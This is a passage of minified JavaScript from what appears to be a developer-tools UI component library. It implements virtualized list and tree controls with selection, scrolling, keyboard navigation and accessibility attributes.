i.RowHeight}updateStyle(){if(this._isSelected){this.rootElement.tabIndex=this.selectedTabIndex||0;if(this.hasFocus){this.rootElement.classList.add(i.SELECTED_ACTIVE_CSS_CLASSNAME);this.rootElement.classList.remove(i.SELECTED_CSS_CLASSNAME)}else{this.rootElement.classList.add(i.SELECTED_CSS_CLASSNAME);this.rootElement.classList.remove(i.SELECTED_ACTIVE_CSS_CLASSNAME)}}else{this.rootElement.tabIndex=-1;this.rootElement.classList.remove(i.SELECTED_CSS_CLASSNAME);this.rootElement.classList.remove(i.SELECTED_ACTIVE_CSS_CLASSNAME)}}onBlur(){this.hasFocus=!1;this.updateStyle()}onClick(e){if(!(e.target instanceof HTMLTextAreaElement||e.target instanceof HTMLInputElement)&&this.clicked){this.clicked(e);e.stopImmediatePropagation()}}onContextMenu(e){this.contextMenu&&this.contextMenu()}onFocus(){this.hasFocus=!0;this.updateStyle()}}i.BASE_CSS_CLASSNAME="BPT-listItemContainer";i.HOVER_CSS_CLASSNAME="BPT-listItemContainerHover";i.SELECTED_CSS_CLASSNAME="BPT-listItemSelected";i.SELECTED_ACTIVE_CSS_CLASSNAME="BPT-listItemSelectedActive";i.IdCount=0;t.ItemContainer=i}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i{constructor(){this._itemContainers={};this._unusedItemContainers=[];this.countChanged=new e.EventSource}get count(){return this._dataSource?this._dataSource.count:0}get indentLevel(){return this._dataSource?this._dataSource.indentLevel:0}get indentIndexStart(){return this._dataSource?this._dataSource.indentIndexStart:0}get indentIndexEnd(){return this._dataSource?this._dataSource.indentIndexEnd:0}setDataSource(e){if(this._dataSource!==e){if(this._dataSourceListChangedEventRegistration){this._dataSourceListChangedEventRegistration.unregister();this._dataSourceListChangedEventRegistration=null}this._dataSource=e;this._currentIndex=null;this.recycleAll();this._dataSource&&this._dataSource.listChanged&&(this._dataSourceListChangedEventRegistration=this._dataSource.listChanged.addHandler(this.onDataSourceListChanged.bind(this)));this.countChanged.invoke({action:2})}}startAt(e){if(this._dataSource){F12.Tools.Utility.Assert.isTrue(e>=0&&e<this._dataSource.count,"Index out of range.");this._currentIndex=e;this._dataSource.startAt(this._currentIndex)}}stop(){if(!this._dataSource)return e.PromiseUtilities.EmptyPromise;this._currentIndex=null;return this._dataSource.stop()}getItemContainerByIndex(e){return this._itemContainers[e]}getNext(){if(!this._dataSource)return null;F12.Tools.Utility.Assert.isTrue(null!==this._currentIndex,"Invalid operation. startAt must be called before calling getNext.");var e=null;if(this._currentIndex<this._dataSource.count){var t=this._dataSource.getNext();if(t){if(e=this._itemContainers[this._currentIndex]){if(e.item!==t){e.empty();e.item=t}}else{e=this.getItemContainer(this._currentIndex,t);this._itemContainers[this._currentIndex]=e}this._currentIndex+=1}}return e}getItemContainerFromItemId(e){for(var t in this._itemContainers){var i=this._itemContainers[t];if(i.id===e)return i}return null}recycle(e){var t=this._itemContainers[e];if(t){delete this._itemContainers[e];t.empty();this._unusedItemContainers.push(t)}}recycleAll(){for(var e in this._itemContainers){var t=this._itemContainers[e];if(t){t.empty();this._unusedItemContainers.push(t)}}this._itemContainers={}}reset(){this.recycleAll();this._unusedItemContainers=[]}newItemContainer(){return new t.ItemContainer}getItemContainer(e,t){var i;(i=this._unusedItemContainers.length>0?this._unusedItemContainers.pop():this.newItemContainer()).item=t;return i}onDataSourceListChanged(e){this.countChanged.invoke(e)}}t.ItemContainerGenerator=i}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i extends e.TemplateControl{constructor(t){super(t||"Common.stackPanelTemplate");this.renderStartingEvent=new e.EventSource;this.renderCompletedEvent=new e.EventSource;this.children=[];this._requestScrollToOffset=null;this._scrollTopCached=null}get content(){return this._content}get itemContainerGenerator(){return this._itemContainerGenerator}set itemContainerGenerator(e){if(this._itemContainerGenerator!==e){this._itemContainerGenerator=e;this.onItemContainerGeneratorChanged()}}get rowHeight(){if(!this._rowHeight){var e=new t.ItemContainer;this.content.appendChild(e.rootElement);this._rowHeight=e.rootElement.offsetHeight;this.content.removeChild(e.rootElement)}return this._rowHeight}get charWidth(){if(!this._charWidth){var e=document.createElement("div");e.textContent="H";e.style.height="auto";e.style.width="auto";e.style.position="absolute";var i=new t.ItemContainer;i.rootElement.appendChild(e);this.content.appendChild(i.rootElement);this._charWidth=e.getBoundingClientRect().width;this.content.removeChild(i.rootElement)}return this._charWidth}get charHeight(){if(!this._charHeight){var e=document.createElement("div");e.textContent="H";e.style.height="auto";e.style.width="auto";e.style.position="absolute";var i=new t.ItemContainer;i.rootElement.appendChild(e);this.content.appendChild(i.rootElement);this._charHeight=e.getBoundingClientRect().height;this.content.removeChild(i.rootElement)}return this._charHeight}get viewportHeight(){if(!this._viewportHeight){var e=this.rootElement.parentElement;F12.Tools.Utility.Assert.isTrue(!!e,"Trying to access the parent element when the panel is not attached to it.");this._viewportHeight=Math.floor(e.getBoundingClientRect().height)}return this._viewportHeight}get viewportRowsCount(){return 0===this.rowHeight||isNaN(this.rowHeight)?0:Math.floor(this.viewportHeight/this.rowHeight)}get viewportWidth(){this._viewportWidth||(this._viewportWidth=this.content.clientWidth);return this._viewportWidth}get scrollHeight(){return this.rootElement.scrollHeight}get scrollTop(){if(null!==this._requestScrollToOffset){var e=Math.min(this._requestScrollToOffset,this.scrollHeight-this.viewportHeight);return e=Math.max(0,e)}return this.scrollTopCached}get scrollTopCached(){null===this._scrollTopCached&&(this._scrollTopCached=this.rootElement.scrollTop);return this._scrollTopCached}getItemRowInfoFromRow(e){return{index:e,rowsSpan:1,topRow:e}}getItemRowInfoFromIndex(e){return{index:e,rowsSpan:1,topRow:e}}ensureVisible(e,t){var i=this.getItemRowInfoFromIndex(e);if(i){var s=i.topRow*this.rowHeight,n=s+(i.rowsSpan||1)*this.rowHeight,o=this.scrollTop,r=o+this.viewportHeight;if(t||s<o||n>r){var a;if(t){a=(s+n-this.viewportHeight)/2;a=Math.max(a,0);a=Math.min(a,this.scrollHeight-this.viewportHeight)}else a=s<o?s:n-this.viewportHeight;this.scrollToOffset(a)}}}getScrollViewportOffset(e){var t=parseInt(e.rootElement.style.top),i=this.scrollTop,s=this.viewportHeight,n=t-i;return n>0&&n<=s-this.rowHeight?n:0}invalidate(){this.children.forEach(e=>{e&&this.templateBinder.unbind(e)});this.itemContainerGenerator.recycleAll();this.children=[]}invalidateScrollCache(){this._scrollTopCached=null}invalidateSizeCache(){this._viewportHeight=null;this._viewportWidth=null;this._charWidth=0;this._charHeight=0;this._rowHeight=0}isPartiallyVisible(e){var t=this.getItemRowInfoFromIndex(e);if(!t)return!1;var i=t.topRow*this.rowHeight,s=i+(t.rowsSpan||1)*this.rowHeight,n=this.scrollTop,o=n+this.viewportHeight;return s>n&&s<=o||i>=n&&i<o}render(){if(!this._isRendering&&this.templateBinder){this._isRendering=!0;this.renderStartingEvent.invoke(this);try{this.renderCoreOverride();if(null!==this._requestScrollToOffset){if(this.scrollTopCached!==this._requestScrollToOffset){this._scrollTopCached=null;this.rootElement.scrollTop=this._requestScrollToOffset}this._requestScrollToOffset=null}}finally{this._isRendering=!1;this.renderCompletedEvent.invoke(this)}}}renderCoreOverride(){var e=0;this.itemContainerGenerator.startAt(0);for(var t=this.itemContainerGenerator.getNext();t;){this.templateBinder.bind(t,e++);this.rootElement.appendChild(t.rootElement);t=this.itemContainerGenerator.getNext()}this.itemContainerGenerator.stop()}scrollToIndex(e,t=0,i){var s=this.getItemRowInfoFromIndex(e);if(s){var n=s.topRow*this.rowHeight+t;this.scrollToOffset(n,i)}}scrollToOffset(e,t){if(t)this._requestScrollToOffset=e;else{this._requestScrollToOffset=null;this._scrollTopCached=null;this.rootElement.scrollTop=e;this._skipNextOnScroll=!0;this.render()}}onApplyTemplate(){super.onApplyTemplate();this._content=this.getNamedElement("content");F12.Tools.Utility.Assert.isTrue(!!this._content,"Expecting a child element called 'content'");this.rootElement.addEventListener("scroll",this.onScroll.bind(this),!1)}onItemContainerGeneratorChanged(){}onScroll(e){this._scrollTopCached=null;if(this._skipNextOnScroll)this._skipNextOnScroll=!1;else if(this._lastScrollTop!==e.srcElement.scrollTop||this._lastScrollHeight!==e.srcElement.scrollHeight||this._lastScrollLeft!==e.srcElement.scrollLeft||this._lastScrollWidth!==e.srcElement.scrollWidth){this.render();this._lastScrollTop=e.srcElement.scrollTop;this._lastScrollHeight=e.srcElement.scrollHeight;this._lastScrollLeft=e.srcElement.scrollLeft;this._lastScrollWidth=e.srcElement.scrollWidth;this.onScrolled&&this.onScrolled(e)}}}t.StackPanel=i}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t extends e.StackPanel{constructor(e){super(e||"Common.virtualizingStackPanelTemplate");this._firstVisibleItemIndex=0}get actualHeight(){return this.viewportHeight}get scrollHeight(){return this.virtualHeight}get virtualHeight(){return this.rowHeight*this.itemContainerGenerator.count}renderCoreOverride(){this.updateVirtualHeight();var e=this.getVisibleRowsScrollFraction(),t=Math.ceil(e),i=Math.ceil(t/4),s=this.getFirstVisibleRowScrollFraction(),n=Math.floor(Math.max(0,s-i)),o=Math.ceil(s+t+i),r=this.getItemRowInfoFromRow(n);if(r&&r.index<this.itemContainerGenerator.count){var a=r.topRow,l=r.index;this._lastFirstTop=a*this.rowHeight;for(var h=this._firstVisibleItemIndex;h<l;++h)this.removeItemContainerByIndex(h);this.itemContainerGenerator.startAt(l);for(var d=l;d<=this.itemContainerGenerator.count&&a<o;++d){var c=this.itemContainerGenerator.getNext();if(!c)break;c.clearHoverState();this.templateBinder.bind(c,d);parseInt(c.rootElement.style.top)+(parseInt(c.rootElement.style.height)||this.rowHeight)>parseInt(this._contentSizer.style.top)&&this.invalidateScrollCache();c.rootElement.style.top=a*this.rowHeight+"px";c.rootElement.style.height="";if(this.children[d]!==c){this.content.contains(c.rootElement)||this.content.appendChild(c.rootElement);this.children[d]=c}a=this.containerRenderedOverride(a,d,c)}o=this.allContainersRenderedOverride(r.topRow,a);this._lastBottomTop=o*this.rowHeight;this.itemContainerGenerator.stop();var u=d;for(h=u;h<=this._lastVisibleItemIndex;++h)this.removeItemContainerByIndex(h);this._firstVisibleItemIndex=l;this._lastVisibleItemIndex=u}if(this.itemContainerGenerator.count<this.children.length){var m=this.itemContainerGenerator.count;this.children.splice(m,this.children.length-m).forEach((e,t)=>{e&&this.templateBinder.unbind(e);this.itemContainerGenerator.recycle(t)})}this.removeOrphanElements();this.updateIndentLine()}scrollToOffset(e,t){t||this.updateVirtualHeight();super.scrollToOffset(e,t)}updateIndentLine(){var t=this.getSelectionIndentElement(),i=this.itemContainerGenerator,s=this.itemContainerGenerator.count,n=i.indentIndexStart,o=i.indentIndexEnd;if(void 0!==n&&n<s&&void 0!==o&&o<s&&this._firstVisibleItemIndex<o&&this._lastVisibleItemIndex>n){if(this._firstVisibleItemIndex>=n)var r=this._lastFirstTop;else{var a=i.getItemContainerByIndex(n);r=a?parseInt(a.rootElement.style.top,10):0}if(this._lastVisibleItemIndex<=o)var l=this._lastBottomTop;else{var h=i.getItemContainerByIndex(o);l=h?parseInt(h.rootElement.style.top,10):r}t.style.top=r+this.rowHeight+"px";t.style.height=l-r+"px";t.style.marginLeft=(i.indentLevel+1)*e.TreeItemDataTemplate.INDENTATION_IN_PIXELS_DEFAULT+"px";this.content.appendChild(t)}else t.parentNode&&t.parentNode.removeChild(t)}allContainersRenderedOverride(e,t){return t}containerRenderedOverride(e,t,i){return e+1}updateVirtualHeight(){this._contentSizer.style.top=this.virtualHeight+"px"}onApplyTemplate(){super.onApplyTemplate();this._contentSizer=this.getNamedElement("contentSizer");F12.Tools.Utility.Assert.isTrue(!!this._contentSizer,"Expecting a child element called 'content'")}getSelectionIndentElement(){if(!this._selectionIndentElement){this._selectionIndentElement=document.createElement("div");this._selectionIndentElement.classList.add("BPT-listItemSelectedIndent")}return this._selectionIndentElement}getFirstVisibleRowScrollFraction(){return this.scrollTop/this.rowHeight}getVisibleRowsScrollFraction(){return this.viewportHeight/this.rowHeight}removeItemContainerByIndex(e){var t=this.children[e];if(!(t&&t.template&&t.template.isVirtualizingDisabled)){delete this.children[e];t&&this.templateBinder.unbind(t);this.itemContainerGenerator.recycle(e)}}removeOrphanElements(){var e=new Set;this.children.forEach(t=>{e.add(t.rootElement)});for(var t=this.content.children.length-1;t>=0;--t){var i=this.content.children[t];e.has(i)||this.content.removeChild(i)}}}e.VirtualizingStackPanel=t}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t extends e.VirtualizingStackPanel{constructor(e){super(e);this._previousWidth=null;this._previousCharWidth=null;this._rowsCount=null;this.resetRowSpans()}get virtualHeight(){this.updateViewportInfo(this.viewportWidth,this.charWidth,this.charHeight);return this.rowHeight*this.rowsCount}get rowsCount(){null===this._rowsCount&&this.refreshRowsCount();return this._rowsCount}allContainersRenderedOverride(e,t){var i=e;if(this._containersToReadjust.length>0){for(var s=0;s<this._containersToReadjust.length;s++){var n=(l=this._containersToReadjust[s]).container,o=this._rowSpans[l.index];if(o)l.scrollHeight=o*this.rowHeight;else{var r=n.rootElement.scrollHeight,a=Math.ceil(r/this.rowHeight)*this.rowHeight;l.scrollHeight=a}}for(s=0;s<this._containersToReadjust.length;s++){var l;(n=(l=this._containersToReadjust[s]).container).rootElement.style.top=i*this.rowHeight+"px";n.rootElement.style.height=l.scrollHeight+"px";var h=Math.ceil(l.scrollHeight/this.rowHeight);i+=h;this.updateRowSpan(l.index,h)}this.updateVirtualHeight()}return i}containerRenderedOverride(e,t,i){this._containersToReadjust.push({index:t,container:i,scrollHeight:0});return e+this.getRowSpan(t)}ensureVisible(e,t){for(var i=0;i<2;i++)super.ensureVisible(e,t)}getItemRowInfoFromRow(e){if(this.itemContainerGenerator.count>0){for(var t=0,i=0,s=1;t<this.itemContainerGenerator.count&&!((i+=s=this.getRowSpan(t))>e);t++);t===this.itemContainerGenerator.count&&t--;return{index:t,topRow:i-s,rowsSpan:s}}return null}getItemRowInfoFromIndex(e){if(e>=0&&e<this.itemContainerGenerator.count){for(var t=0,i=0;i<e;i++)t+=this.getRowSpan(i);return{index:e,topRow:t,rowsSpan:this.getRowSpan(e)}}return null}invalidate(){super.invalidate();this.resetRowSpans()}invalidateRowSpan(e){var t=this.getRowSpan(e);delete this._rowSpans[e];if(null!==this._rowsCount){var i=t-1;this._rowsCount-=i}}onItemContainerGeneratorChanged(){if(this._itemContainerGeneratorCountChangedEventRegisteration){this._itemContainerGeneratorCountChangedEventRegisteration.unregister();this._itemContainerGeneratorCountChangedEventRegisteration=null}if(this.itemContainerGenerator){this._itemContainerGeneratorCountChangedEventRegisteration=this.itemContainerGenerator.countChanged.addHandler(this.onItemContainerGeneratorCountChanged.bind(this));this.onItemContainerGeneratorCountChanged({action:2})}}renderCoreOverride(){this._containersToReadjust=[];super.renderCoreOverride()}scrollToIndex(e,t=0,i){for(var s=!1,n=0;n<2;n++){super.scrollToIndex(e,t,s);s=i}}getRowSpan(e){return this._rowSpans[e]||1}onItemContainerGeneratorCountChanged(e){if(null!==e.rowSpanIndexToInvalidate&&void 0!==e.rowSpanIndexToInvalidate)this.invalidateRowSpan(e.rowSpanIndexToInvalidate);else switch(e.action){case 0:var t=[e.newStartingIndex,0];t.push.apply(t,new Array(e.newCount));this._rowSpans.splice.apply(this._rowSpans,t);null!==this._rowsCount&&(this._rowsCount+=e.newCount);break;case 1:for(var i=this._rowSpans.splice(e.oldStartingIndex,e.oldCount),s=0,n=0;n<i.length;n++)s+=i[n]||1;null!==this._rowsCount&&(this._rowsCount-=s);break;default:this.resetRowSpans()}}refreshRowsCount(){this._rowsCount=this.itemContainerGenerator.count;this._rowSpans.length=this.itemContainerGenerator.count;this._rowsCount=this._rowSpans.reduce((e,t)=>e+(t||1)-1,this._rowsCount)}resetRowSpans(){this._rowsCount=null;this._rowSpans=[]}updateRowSpan(e,t){if(this._rowSpans.length!==this.itemContainerGenerator.count){F12.Tools.Utility.Assert.failDebugOnly("Detected a count mismatch between datasource ("+this.itemContainerGenerator.count+") and rowspans ("+this._rowSpans.length+").");this.resetRowSpans();this.refreshRowsCount()}if(e>=0&&e<this.itemContainerGenerator.count){var i=this.getRowSpan(e);this._rowSpans[e]=t;if(null===this._rowsCount)this.refreshRowsCount();else{var s=t-i;this._rowsCount+=s}}}updateViewportInfo(e,t,i){if(this._previousWidth!==e||this._previousCharWidth!==t){this._previousWidth=e;this._previousCharWidth=t;this.resetRowSpans()}}}e.VirtualizingMultiRowStackPanel=t}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i extends e.TemplateControl{constructor(e){super(e)}}t.ListItemDataTemplate=i;class s extends e.TemplateControl{constructor(t){super(t);this._invalidationDelayer=new e.Delayer;this._selectedItemVisibleIndex=-1;this.onDataItemTemplateChanged()}get ariaLabel(){return this.rootElement.getAttribute("aria-label")}set ariaLabel(e){this.rootElement.setAttribute("aria-label",e)}get dataSource(){return this._dataSource}set dataSource(e){if(this._dataSource!==e){this.maintainSelectionAroundOperation(()=>{this._listChangedEventRegistration&&this._listChangedEventRegistration.unregister();this._dataSource=e;this._itemContainerGenerator.setDataSource(this._dataSource);this._dataSource&&this._dataSource.listChanged&&(this._listChangedEventRegistration=this._dataSource.listChanged.addHandler(()=>this.updateSelectedIndex()))});this.panel.invalidate()}}get itemContainerGenerator(){return this._itemContainerGenerator}set itemContainerGenerator(e){F12.Tools.Utility.Assert.isTrue(!!e,"Expecting a valid itemContainerGenerator");this._itemContainerGenerator=e;this._itemContainerGenerator.setDataSource(this.dataSource);this.panel&&(this.panel.itemContainerGenerator=this._itemContainerGenerator)}get panel(){return this._panel}set panel(e){if(this._panel!==e){this.maintainSelectionAroundOperation(()=>{if(this._panel){this._panel.templateBinder=null;this._panel.itemContainerGenerator=null;this._panel.onScrolled=null;this.rootElement.contains(this._panel.rootElement)&&this.rootElement.removeChild(this._panel.rootElement)}this._panel=e;if(this._panel){this._panel.templateBinder=this;this._panel.itemContainerGenerator=this._itemContainerGenerator;this._panel.onScrolled=(e=>{this.onScrolled&&this.onScrolled(e)});this.rootElement.appendChild(this._panel.rootElement)}});this.render(!0)}}get selectedIndex(){return this._selectedItemVisibleIndex}set selectedIndex(e){e<0?this.selectedItem=null:this.setSelectedItemVisibleIndex(e,0)}setSelectedItem(e,t){if(this._selectedItem!==e||this._selectedItem&&e&&this._selectedItem.id!==e.id){var i=this.getSelectedItemContainer();i&&(i.isSelected=!1);this._selectedItem=e;this.updateSelectedIndex();this._selectedItemVisibleIndex>=0&&this.panel.ensureVisible(this._selectedItemVisibleIndex);(i=this.getSelectedItemContainer(!0))&&t&&this.focusItemContainer(i);this.onSelectedItemChangedOverride(this._selectedItem);this.selectedItemChanged&&this.selectedItemChanged(this._selectedItem);this.panel.updateIndentLine()}}get selectedItem(){return this._selectedItem}set selectedItem(e){this.setSelectedItem(e,!0)}get offsetLeft(){null===this._offsetLeft&&(this._offsetLeft=this.rootElement.offsetLeft);return this._offsetLeft}get offsetTop(){null===this._offsetTop&&(this._offsetTop=this.rootElement.offsetTop);return this._offsetTop}static initialize(){e.ObservableHelpers.defineProperty(s,s.DataItemTemplatePropertyName,i,e=>e.onDataItemTemplateChanged())}bind(e,t){e.item;if(!e.template){if(!this._dataItemTemplateConstruction)throw new Error("Expecting a data item template type.");e.rootElement.tabIndex=-1;e.template=this._dataItemTemplateConstruction.getNewControl();e.rootElement.appendChild(e.template.rootElement);e.template instanceof i&&(e.template.ownerListControl=this)}e.rootElement.setAttribute("data-id",e.id.toString());this.updateContainerOverride(e,t);e.clicked=this.onItemSelected.bind(this,e);e.contextMenu=this.onItemSelected.bind(this,e);e.isSelected=this._selectedItem&&e.id===this._selectedItem.id}cleanupContainerOverride(e){var t=e.template;t&&(t.model=null)}forceFocusToSelectedItem(){var e=this.getSelectedItemContainer();if(e){var t=e.item;if(t){var i=this.getVisibleIndexOfItem(t);i>=0&&this.panel.isPartiallyVisible(i)&&e.focus()}}}getItemContainerFromItem(e,t){var i=this._itemContainerGenerator.getItemContainerFromItemId(e.id);if(!i&&t){this.scrollToItem(e);i=this._itemContainerGenerator.getItemContainerFromItemId(e.id)}return i}getSelectedItemContainer(e){return this.selectedItem?this.getItemContainerFromItem(this.selectedItem,e):null}invalidate(e=!0){e&&this.panel.invalidate();this.panel.render();var t=this.panel.virtualHeight>this.panel.viewportHeight;if(t!==this._panelScrollBarShown){this._panelScrollBarShown=t;this.invalidateSizeCache()}this.onInvalidated()}invalidateItemRowSpan(e){if(e&&this.dataSource&&this.panel instanceof t.VirtualizingMultiRowStackPanel){var i=this.panel,s=this.dataSource.indexOfItem(e.id);if(!(s<0)){i.invalidateRowSpan(s);var n=this._selectedItemVisibleIndex>=0&&this.panel.isPartiallyVisible(this._selectedItemVisibleIndex);this._invalidationDelayer.delay(()=>{this.invalidate(!1);n&&this._selectedItemVisibleIndex>=0&&this.panel.ensureVisible(this._selectedItemVisibleIndex)})}}}invalidateSizeCache(){this._offsetLeft=null;this._offsetTop=null;this.panel.invalidateSizeCache()}onApplyTemplate(){super.onApplyTemplate();this.rootElement.style.width="100%";this.rootElement.style.height="100%";this.rootElement.tabIndex=0;this.rootElement.addEventListener("keydown",this.onKeyDown.bind(this));this._itemContainerGenerator=new t.ItemContainerGenerator;this.panel=new t.VirtualizingStackPanel;this.invalidateSizeCache()}onInvalidated(){}onKeyDownOverride(t){var i=!0;switch(t.keyCode){case e.KeyCodes.ArrowUp:this._selectedItemVisibleIndex<0?this.setSelectedItemVisibleIndex(0,1):this.selectPreviousItem();break;case e.KeyCodes.ArrowDown:this._selectedItemVisibleIndex<0?this.setSelectedItemVisibleIndex(0,1):this.selectNextItem();break;case e.KeyCodes.PageUp:this.selectPage(-1,-1);break;case e.KeyCodes.PageDown:this.selectPage(1,1);break;case e.KeyCodes.Home:this.selectHome();break;case e.KeyCodes.End:this.selectEnd();break;case e.KeyCodes.ContextMenu:this.onShowContextMenu();break;case e.KeyCodes.F10:!t.shiftKey||t.ctrlKey||t.altKey||this.onShowContextMenu();break;default:i=!1}return i}onSelectedItemChangedOverride(e){}onShowContextMenu(){}onWindowResize(){this.invalidateSizeCache();this.invalidate()}render(e=!0){this.invalidate(e)}scrollToItem(e,t){var i=this.getVisibleIndexOfItem(e);i>=0&&this.panel.ensureVisible(i,t)}selectEnd(){this._selectedItemVisibleIndex<0||this.setSelectedItemVisibleIndex(this._itemContainerGenerator.count-1,-1)}selectHome(){this._selectedItemVisibleIndex<0||this.setSelectedItemVisibleIndex(0,1)}selectPreviousItem(){this._selectedItemVisibleIndex<0||this.setSelectedItemVisibleIndex(this._selectedItemVisibleIndex-1,-1)}selectPage(e,t){if(!(this._selectedItemVisibleIndex<0)){this.panel.scrollToOffset(this.panel.scrollTop+e*this.panel.viewportRowsCount*this.panel.rowHeight);var i=this.panel.getItemRowInfoFromIndex(this._selectedItemVisibleIndex);if(i){var s=i.topRow+e*this.panel.viewportRowsCount,n=this.panel.getItemRowInfoFromRow(s);n&&this.setSelectedItemVisibleIndex(n.index,t)}}}selectNextItem(){this._selectedItemVisibleIndex<0||this.setSelectedItemVisibleIndex(this._selectedItemVisibleIndex+1,1)}unbind(e){e.clicked=null;e.rootElement.removeAttribute("aria-label");this.cleanupContainerOverride(e)}updateContainerOverride(e,t){var i=e.item,s=e.template;s&&(s.model=i)}focusItemContainer(e){this.setItemContainerAriaLabel(e);e.focus()}getVisibleIndexOfItem(e){return this.dataSource?this.dataSource.indexOfItem(e.id):-1}maintainSelectionAroundOperation(e){var t=0;if(this._panel&&this._selectedItem&&this._itemContainerGenerator){var i=this._itemContainerGenerator.getItemContainerFromItemId(this._selectedItem.id);i&&(t=this._panel.getScrollViewportOffset(i))}e();if(this._selectedItem){this._selectedItemVisibleIndex=this.getVisibleIndexOfItem(this._selectedItem);if(this._selectedItemVisibleIndex<0){this.selectedItem=null;this.panel.scrollToOffset(0,!0)}else this.panel.scrollToIndex(this._selectedItemVisibleIndex,-t,!0)}else this.panel.scrollToOffset(0,!0)}onDataItemTemplateChanged(){this._dataItemTemplateConstruction=null;this._dataItemTemplate&&(this._dataItemTemplateConstruction=e.ControlConstruction.createFromStringOrType(this._dataItemTemplate));this.itemContainerGenerator.reset();this.render(!0)}onKeyDown(e){if(this.onKeyDownOverride(e)){e.preventDefault();e.stopPropagation()}}onItemSelected(e,t){if(!(t&&!t.altKey&&t.ctrlKey&&!t.shiftKey)||!e.isSelected){e.item.clickSelectAlternative&&(e=this.getItemContainerFromItem(e.item.clickSelectAlternative,!0));this.selectedItem=e.item;e.focus()}else this.selectedItem=null}setItemContainerAriaLabel(e){if(e){var t;e.item&&this.onGetItemContainerAriaLabel&&(t=this.onGetItemContainerAriaLabel(e));t?e.rootElement.setAttribute("aria-label",t):e.rootElement.removeAttribute("aria-label")}}setSelectedItemVisibleIndex(e,t){for(var i=null,s=this._itemContainerGenerator.count,n=!0,o=!1,r=!1;n;){if(e<0){e=0;if(t){t=1;r=!0}}if(e>=s){e=s-1;if(t){t=-1;o=!0}}n=!1;if(o&&r||this._selectedItemVisibleIndex>=0&&this._selectedItemVisibleIndex===e)i=this.getSelectedItemContainer();else if(e>=0&&e<s){this._itemContainerGenerator.startAt(e);i=this._itemContainerGenerator.getNext();this._itemContainerGenerator.stop();if(i){var a=i.item;i.rootElement.parentElement||this._itemContainerGenerator.recycle(e);if(a.dontKeyboardSelect&&t){e+=t;n=!0;continue}this.selectedItem=a}}}o&&r&&F12.Tools.Utility.Assert.fail("All elements in ListControl are not selectable.");return i}updateSelectedIndex(){this._selectedItem?this._selectedItemVisibleIndex=this.getVisibleIndexOfItem(this._selectedItem):this._selectedItemVisibleIndex=-1}}s.DataItemTemplatePropertyName="dataItemTemplate";t.ListControl=s;s.initialize()}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i extends t.ListControl{constructor(t){super(t);this.dataItemTemplate=e.Controls.TreeItemDataTemplate;this._onAriaExpandedModifiedHandler=this.onAriaExpandedModified.bind(this)}onApplyTemplate(){super.onApplyTemplate();this.rootElement.setAttribute("role","tree")}updateContainerOverride(e,t){super.updateContainerOverride(e,t);var i=e.item,s=e.template;if(i&&s){e.rootElement.removeEventListener("DOMAttrModified",this._onAriaExpandedModifiedHandler);s.expansionToggledCallback=this.onExpansionToggled.bind(this,e,t);if(i.hasChildren){e.rootElement.setAttribute("aria-expanded",i.isExpanded?"true":"false");e.rootElement.addEventListener("DOMAttrModified",this._onAriaExpandedModifiedHandler)}else e.rootElement.removeAttribute("aria-expanded");e.rootElement.setAttribute("role","treeitem")}s.updateGutterGlyphContainer()}onKeyDownOverride(t){var i,s,n=!1;switch(t.keyCode){case e.KeyCodes.ArrowRight:if(o=this.getSelectedItemContainer()){i=o.template;s=o.item;if(!i.expand()&&s.hasChildren){this.selectNextItem();n=!0}}break;case e.KeyCodes.ArrowLeft:if(o=this.getSelectedItemContainer()){i=o.template;s=o.item;if(!i.collapse()&&s.level>0){this.dataSource.indexOfParent(s.id).then(e=>{e>=0&&(this.selectedIndex=e)});n=!0}}break;case e.KeyCodes.Plus:if(o=this.getSelectedItemContainer()){o.template.expand();n=!0}break;case e.KeyCodes.Minus:var o;if(o=this.getSelectedItemContainer()){o.template.collapse();n=!0}}n||(n=super.onKeyDownOverride(t));return n}cleanupContainerOverride(e){super.cleanupContainerOverride(e);var t=e.template;t&&(t.expansionToggledCallback=null);e.rootElement.removeEventListener("DOMAttrModified",this._onAriaExpandedModifiedHandler)}collapseItem(e){return this.dataSource.collapseBranch(e).then(()=>this.afterExpandCollapse())}expandItem(e){return this.dataSource.expandBranch(e).then(()=>this.afterExpandCollapse())}onAriaExpandedModified(e){if("aria-expanded"===e.attrName){var t=e.target,i=parseInt(t.getAttribute("data-id")),s=this.itemContainerGenerator.getItemContainerFromItemId(i);if(s){var n=s.template;"true"===e.newValue?n.expand():n.collapse()}}}onExpansionToggled(e,t){var i=e.item;this.selectedItem=i;i.isExpanded?this.collapseItem(t):this.expandItem(t)}afterExpandCollapse(){this.invalidate(!1);var e=this.getSelectedItemContainer();e&&e.focus()}}t.TreeListControl=i}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(e){"use strict"}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(e){"use strict"}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t extends e.ListItemDataTemplate{constructor(e){super(e||"Common.defaultTreeItemDataTemplate");this.indentationInPixels=t.INDENTATION_IN_PIXELS_DEFAULT}onApplyTemplate(){super.onApplyTemplate();this._expander=this.getNamedElement("expander");F12.Tools.Utility.Assert.isTrue(!!this._expander,"Expecting an expander element");this._expander.addEventListener("click",this.onExpansionClicked.bind(this));this.rootElement.addEventListener("dblclick",this.onRootElementDblClicked.bind(this))}collapse(){if(this.model&&this.model.hasChildren&&!this._expander.classList.contains(t.COLLAPSED_CSS_CLASS)){this.onExpansionClicked(null);return!0}return!1}updateGutterGlyphContainer(){}expand(){if(this.model&&this.model.hasChildren&&!this.model.areChildrenInline&&!this._expander.classList.contains(t.EXPANDED_CSS_CLASS)){this.onExpansionClicked(null);return!0}return!1}onModelChanged(){super.onModelChanged();if(this._modelPropertyChangedEventRegistration){this._modelPropertyChangedEventRegistration.unregister();this._modelPropertyChangedEventRegistration=null}if(this.model){var 